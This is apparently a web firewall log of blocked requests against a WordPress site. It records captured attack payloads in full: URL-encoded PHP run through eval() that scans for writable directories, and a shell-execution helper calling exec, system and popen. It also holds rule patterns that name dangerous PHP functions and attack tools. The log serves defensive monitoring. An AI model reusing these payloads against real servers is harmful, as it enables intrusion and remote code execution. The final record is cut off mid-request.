["2026-05-12 19:23:05","34.100.167.237","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4423\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Android\"\n\nIMAhJp=eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 19:23:53","47.242.236.143","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gN:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-length:3329\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\n\ngN=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:23:54","95.217.51.155","GET","\/xmlrpc.php","XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","GET \/xmlrpc.php HTTP\/1.1\nuser-agent:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\n\n"]
["2026-05-12 19:23:57","95.217.51.155","POST","\/xmlrpc.php","XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:89\nuser-agent:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\n\n<?xml version='1.0'?><methodCall><methodName>system.listMethods<\/methodName><\/methodCall>"]
["2026-05-12 19:24:48","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SG:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3329\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH0pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nSG=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:25:01","57.128.189.50","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mV:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-length:3329\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 